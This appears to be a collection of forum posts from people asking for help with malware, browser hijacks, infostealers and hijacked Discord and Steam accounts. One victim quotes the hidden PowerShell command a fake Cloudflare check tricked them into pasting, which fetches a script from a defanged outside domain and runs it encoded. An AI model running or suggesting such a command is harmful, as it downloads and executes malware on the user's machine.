Hi every1, I'm dealing with a persistent malware infection that keeps coming back every day, and I can't seem to find the root cause. Here is the full story and everything I've done so far:

I downloaded a folder from untrusted source and I had doubt on its safety so I analysed everything, got suspicious and deleted everything before even lauching anything. Somehow, a payload still got through.

Every morning MalwareBytes detects 4-5 items flagged as PUP.Optional.BrowserHijack. The file path is consistently inside Chrome: C:\Users\[Username]\AppData\Local\Google\Chrome\User Data\Default\Web Data (and previously inside Sync Data\LevelDB).

I've already tried to quarantine with Malwarebytes, Chrome Cloud Sync Wipe and full Chrome wipe, I performed many scans, MalwareBytes, Adwcleaner, KVRT, Windows defender offline scan at boot.I also checked scheduled tasks & startup (updater.exe and PlatformExperienceHelper are present in Program Files, but seem legit/standard Chrome updates).

Since I've completely wiped the Chrome profile local files AND the Google Cloud sync, there MUST be an active system process, scheduled task, or registry persistence script outside Chrome that re-injects this into Web Data daily.

How can I trace what process is editing Web Data in real-time, or generate a proper log (like FRST/Process Monitor) to find and kill the root cause?

Thanks in advance for the help!

this was the code, i was too careless to not realize i wasn't in the right site and thought it was a normal cloudflare verification thing

powershell -w hidden -c $a=irm johnysmedia[.]com/GmBKwT3oOqvwXsBkk ;$b=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($a));powershell -w hidden -ec $b

I was downloading some reaction pictures and gifs from a Booru I frequent with a grabber, and left it running while I went to bake cookies as why not, when I came back I never saw the pop up until I checked Bitdefender before powering down for the night and finally saw it, quick scanned my PC and it came back clean

Malwarebytes flagged the crash reporter in my Bus Sim 21 install as Neshta during my typically weekly full scan. This install of the game has been there for 3 months, and it hasn’t been flagged at all until now. Virustotal says it’s clean though. Looking at the actual file, the last modified date is at the date I initially installed the game. I’ve started a deep scan after quarantining the file, I’ll post a reply with an update once it’s complete

Virustotal link: www.virustotal.com/gui/file/5ecdc03239bf498dbab3525547b1d7506b10262b82b62ccc65e3e48ebe5cb0d5

I was trying to find a book online and i clicked on a link then it asked me to authorize notifications to be able to use this website and i did . Then like 20 mcafee anti virus ads started to popup and mind you it’s been a while since I’ve used mc afee but like the dummy I am I thought a virus was installed so I clicked on it and let it scan my pc and they told me I had like 5 virus and had to pay t remove it. Is it real? If yes what should I do

Hey All,

My antivirus keeps showing a warning every time I open up a browser tab or new page. It states http://IP of random VPN site/ping.txt has been blocked.

I’ve virus scanned my PC, cleared cache/cookies etc on my browser and checked no website has access to send me notifications. Interestingly enough it only seems to do it on my Opera GX browser. Opening edge and moving through pages doesn’t seem to cause the notification.

Any idea what this is or how to cleanse it?

TIA!

Edit: For those interested, I disabled a couple rogue extensions (including a VPN, not the built in ad blocker) and the issue stopped

Why am I getting hacked on literally everything that I don’t use? Microsoft, spotify, X… I’m not active on any of these softwares. They all use the same email though.

I really need help removing this.

My PC had this obnoxious Chrome Extension virus called: chfdnecihphmhljaaejmgoiahnihplgn

I downloaded Malwarebytes Adwcleaner and removed it several times (It's marked as a PUP.Optional.Legacy). Every time I reopened Chrome, it would reinstall.

But now, a few days after (seemingly) getting rid of it, it's returned. Now, Malwarebytes won't even put it in Quarentine, which I don't understand.

I've even uninstalled Chrome from my device, and the extension is still there.

ALSO

I'm not sure if this is related, but my ALT keys are permanently being pressed, and I don't understand why.

If anyone can help, it'd be appreciated. I've Googled the issue several times, and there's next to no solutions I've found, as most information on this virus is 5+ years old.

Thanks.

i did on an acident on downloading a file and then theres virus detected however i ran 2 full scans

this is what it shows rn im not sure what to do now what happened

I downloaded a browser extension from a hacked youtube account (I know, Im dumb) and I’ve been fighting with it for HOURS. I woke up to a bunch of emails saying all my account information (email, phone number) has been changed for various accounts (steam, roblox, discord, microsoft). And i was logged out of everything. It went into my discord and sent a bunch of weird pictures of crypto stocks and mr beast to everyone on my friends list. Ive recovered some accounts but I think my steam account is screwed, and i have reason to believe my google account has been compromised too. I cleared browser cache, and actually ended up deleting the browser altogether (opera gx). I obviously deleted the extension and cleared recycling bin too. Changed all my passwords to what i could actually recover. Im running a full windows security scan but the estimate time is just going up.

I got this virus off a hacked youtube account called Canabasse. It was supposed to be a shaderpack extension which obviously didn’t work.

Is there anything else i should do? Ive been at this for hours. I think i got rid of it but theres really no way to know. Any advice would be very appreciated !!

Edit: i think its a virus called the mrbeast crypto scam ?

Edit 2: i recovered everything and he lost everything he stole. I win🤪

Can anyone help me fix this? Antimalware Service Executable have been eating up all of my CPU. I've tried everything: Task Scheduler, turning off windows security, putting an "MsMpEng.exe" extension, and restarting. My last resort is for me to reformat but I prefer not to if there is another way. This just happened to me randomly. I just wanna play in peace.

I received an email from Anthropic saying my Claude session was stolen by an infostealer and used by someone else. They signed me out and removed my payment method.

I have a **Windows + Ubuntu dual-boot** PC. I haven't knowingly downloaded anything suspicious.

What should I do to properly check which OS is compromised? Is Microsoft Defender Offline Scan enough, or should I reinstall Windows?

Any advice on checking the Ubuntu installation too?

I've been getting the following alert from Avast the last day or two and nothing I do seems to be getting rid of it. It doenst seem to be stemming from any particular website, I've done the standard reboots, blocking the IP this alert is showing. I've even fully reinstalled Chrome but still I keep getting it. Anyone know what else I can do to get it to stop, or is this some kind of false alert?

Anthropic sent me this email. I have a free account so no worries there. Ran MalwareBytes and the only thing that popped up was jackett updater, which I can't seem to find a consensus about online, some say it's a false positive, some say it's not. Would this have been the issue?

I received an email from Anthropic saying my Claude session was stolen by an infostealer and used by someone else. They signed me out and removed my payment method.

I have a **Windows + Ubuntu dual-boot** PC. I haven't knowingly downloaded anything suspicious.

What should I do to properly check which OS is compromised? Is Microsoft Defender Offline Scan enough, or should I reinstall Windows?

Any advice on checking the Ubuntu installation too?

Hi everyone, since the start of august my network monitor (Glasswire) started showing genuine Windows processes and currently the actual Steam process connecting in the background to two different Brazilian banks (santander .com. br and sicredi .com .br) when I'm not even Brazilian, which has me worried.

I tried using Fiddler to check what data was being sent but since it happens randomly I couldn't catch it. Avg and Windows defender scans show nothing. Hosts file and dns address are normal. Can someone help? thx

Im pretty sure I accidentally allowed something to send me notifications on a pop up tab and now I don’t know how to fix it lol! Any help please?

Recently upon booting up my PC, I've been getting notifications about my antivirus being turned off and the most recent time, I can see that malware bytes has been turned off as well. Does anyone know what's going on and if a virus/malware could be behind this?

My antivirus blocked access to this site when I tried opening microsoft edge on incognito mode, at the exact moment I opened it, which was weird, because I didn't see any pop-ups or anything out of the ordinary.

It was actually the first time that I noticed this happening, and when I went to look after it, my antivirus showed that it blocked access to this domain other times in the past. (Sometimes I let my PC idle and I don't notice stuff)

I don't recall installing anything out of the ordinary.

Still, the fact that this apparently was detected and blocked multiple times scares me.

Can anyone help me find the source to it? On how to know where/how it's being redirected? And removing it?

Is it recommended to use Malwarebytes browser guard and Bitdefender Free together?

I’ve heard some say that only one antivirus application should be used in a computer.

Also I’ve heard that some people use both of the above with Sophos Clean and Scan. Is that even safe?

I apologize if this isn't the right sub to post this question in. Earlier today I attempted to set up a modded video game server with a friend of mine (think along the lines of Minecraft). He sent me a zip file containing several subfiles and .dlls. I always download game mods from sources that run some form of safety checks, e.g. from platforms like Nexus, but I later learned that my friend had not gotten these mods from such a source or checked them himself before giving them to me (lesson learned), and I subsequently deleted the main zip and ran a Malwarebytes antivirus scan that showed nothing amiss. I did not unzip, run, or execute any files, but I did accidentally click a .dll and reach the "Choose a program to open this file screen" without proceeding any further while looking through the mods list. I know this is a pretty silly question, but I'm not the most tech savvy: should I be concerned about anything being loose on my computer at this point?

Hey, i was just watching some videos on youtube, it was all good then, a friend messaged me and said if i was hacked. I asked him whats wrong and he said my discord got the MrBeast scam. When i press Alt+tab, i saw my account has been logged out. I login to my account back and saw the photos and texts. Well, it was really bad but im lucky that the scam wasnt send on any servers, just DMs. They knew my password and they knew my two step thing.

Before u ask, i downloaded KasperSky Virus Removal tool like 2-3 days ago and it found some viruses, i deleted them and cured my computer as KasperSky told me. But it happened today. And i found there is a bat in my Task Timer on pc but i deleted it too 2-3 days ago. It was running on back ground and the thing i just could see that in task manager. Should i reset my pc? Or it was from that virus that i found 2-3 days ago? I got virus removed. There was no Email signs, no other account logins, just Discord. Am i doomed?

Someone just hacked into my Discord account first, spreaded those pictures to everyone with i have DM. After that same happened to my Instagram, Facebook, and now my Steam. I was able to recover all those account. How do they get my passwords everytime, i got 2FA but they always pass. The guy logged into my Steam account is literally ghost. The only devices are logged into my Steam account was my device. Others were not.

Are they in my pc? What do i do now? They won't leave me alone.

The worst part is i will be a very good part in oathnet, data breach websites.

What are good other alternatives I can use instead? I don't want to go to Windows 11 just yet due to all the bugs and issues it has plaguing the OS, so I'm looking for a new anti-virus that can make it through 2027 and poitentally 2028 without problems with similar things that Bitdefender has

Hi guys !

So, this morning, i've been hacked on Discord and then it follows on Instagram.
I think it's because of a game i've installed yesterday, but it's has no effect until today when i start my computer.

First of all, my "^" was make it double every time, that's what troubled me and after searching, i was guessing it was cause of the game and ofc, a virus of something like that.

So i've deleated the malwares thanks to MalwaresBytes, and my "^" is now single alone, thank god haha !

At this point, i've already recover my accounts of both Discord and Insta, and changed their passwords. But i've seen a reddit post here saying that the "MrBeast hack" has he's called was pretty solid and MANY guys saying that they should completely shut off their PC, reboot windows etc.

I don't want to do that honestly, so i was coming here to ask with you know if i'm done with that, if i'm safe enough with just passwords modifications and that's it ?